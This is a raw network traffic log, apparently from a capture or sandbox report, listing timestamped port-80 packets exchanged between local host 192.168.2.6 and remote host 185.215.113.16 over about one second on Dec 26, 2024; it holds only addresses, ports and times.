Dec 26, 2024 12:52:27.952231884 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.952287912 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.952315092 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.953130960 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.953239918 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.954052925 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.954127073 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.954163074 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.954967976 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.955018997 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.955070019 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.955964088 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.956012011 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.956049919 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.956806898 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.956908941 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.957732916 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.957779884 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.957851887 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.958640099 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.958689928 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.958734989 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.959630013 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.959676981 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.959749937 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.960511923 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.960561991 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.960632086 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.961390972 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.961463928 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.962472916 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.962485075 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.962532997 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.963243961 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.963323116 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.963372946 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.964163065 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.964240074 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.964288950 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.965037107 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.965142012 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.965270042 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.966341019 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.966439009 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.966485977 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.967029095 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.967145920 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.967184067 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.967757940 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.967803955 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.967968941 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.968018055 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.968703985 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.968771935 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.968797922 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.969615936 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.969681978 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.969736099 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.970532894 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.970577955 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.970756054 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.971443892 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.971487045 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.971548080 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.972562075 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.972628117 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.972629070 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.973304033 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.973404884 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.973432064 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.974209070 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.974386930 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.974415064 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.975107908 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.975151062 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.975208998 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.976083994 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.976130009 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.976246119 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.977020979 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.977087021 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.977129936 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.978286982 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.978389978 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.978441954 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.979139090 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.979197025 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.979248047 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.979800940 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.979867935 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.979914904 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.980674982 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.980787992 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.980848074 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.981551886 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.981628895 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.981690884 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.982507944 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.982630968 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.982666016 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.983355045 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.983464956 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.983474016 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.984276056 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.984353065 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.984386921 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.985238075 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.985317945 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.986115932 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.986148119 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.986181021 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.986219883 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.987044096 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.987096071 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.987140894 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.987978935 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.988029003 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.988087893 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.988846064 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.988928080 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.989756107 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.989839077 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.989861965 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.990688086 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.990734100 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.990808010 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.991569042 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.991612911 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.991687059 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.992515087 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.992607117 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.992739916 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.993432999 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.993477106 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.993575096 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.994353056 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.994400024 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.994426012 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.994913101 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.995253086 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.995363951 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.995397091 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.996221066 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.996337891 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.996372938 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.997093916 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.997195959 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.997226000 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.998022079 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.998177052 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.998244047 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.998919964 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.999027967 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.999052048 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.999835014 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.999877930 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.999936104 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.000762939 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.000819921 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.000844955 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.001684904 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.001730919 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.001782894 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.002590895 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.002677917 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.002721071 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.003560066 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.003612041 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.003675938 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.004476070 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.004610062 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.004672050 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.005332947 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.005444050 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.005490065 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.006340027 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.006452084 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.006477118 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.007229090 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.007296085 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.007345915 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.008064032 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.008191109 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.008191109 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.008996010 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.009048939 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.009083033 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.009897947 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.009938955 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.009984016 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.010869980 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.011003017 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.011030912 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.011739016 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.011853933 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.011900902 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.012659073 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.012707949 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.012748003 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.013655901 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.013722897 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.014563084 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.014631033 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.014708996 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.015705109 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.015753031 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.015820980 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.016369104 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.016413927 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.016441107 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.017374039 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.017502069 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.018171072 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.018217087 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.018276930 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.019057989 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.019109964 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.019180059 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.020003080 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.020054102 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.020095110 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.020915985 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.020983934 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.021812916 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.021868944 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.021915913 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.022721052 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.022773981 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.022902012 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.023669958 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.023751020 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.023849010 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.024554968 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.024717093 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.024775028 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.025460005 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.025593042 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.026314974 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.026436090 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.026500940 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.026515961 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.026526928 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.027362108 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.027499914 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.027569056 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.028239965 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.028331995 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.028389931 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.029125929 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.029179096 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.029242992 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.030097008 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.030158997 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.030225992 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.031100035 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.031425953 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.031485081 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.032097101 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.032162905 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.032233000 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.032809973 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.032962084 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.033710957 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.033766031 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.033845901 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.034650087 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.034697056 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.034763098 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.035547972 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.035594940 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.035638094 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.036467075 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.036513090 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.036557913 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.037394047 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.037509918 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.038299084 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.038348913 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.038429976 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.039222956 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.039278030 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.039371014 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.040148020 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.040196896 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.040375948 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.041035891 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.041135073 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.042025089 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.042078972 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.042100906 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.042907000 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.042959929 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.043009996 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.043814898 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.043869019 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.043930054 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.044709921 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.044764042 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.044820070 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.045612097 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.045756102 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.045805931 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.046560049 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.046646118 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.046700001 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.047477007 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.047514915 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.047565937 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.048403025 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.048527002 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.048580885 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.049379110 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.049453020 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.050223112 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.050272942 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.050405025 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.051151991 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.051208019 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.051269054 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.052040100 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.052086115 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.052191973 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.052958012 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.053076029 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.053859949 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.053895950 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.053922892 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.054922104 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.054969072 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.054994106 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.055731058 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.055793047 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.055846930 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.056613922 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.056660891 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.056674004 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.057523966 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.057693005 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.058442116 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.058500051 CET	49863	80	192.168.2.6	185.215.113.16
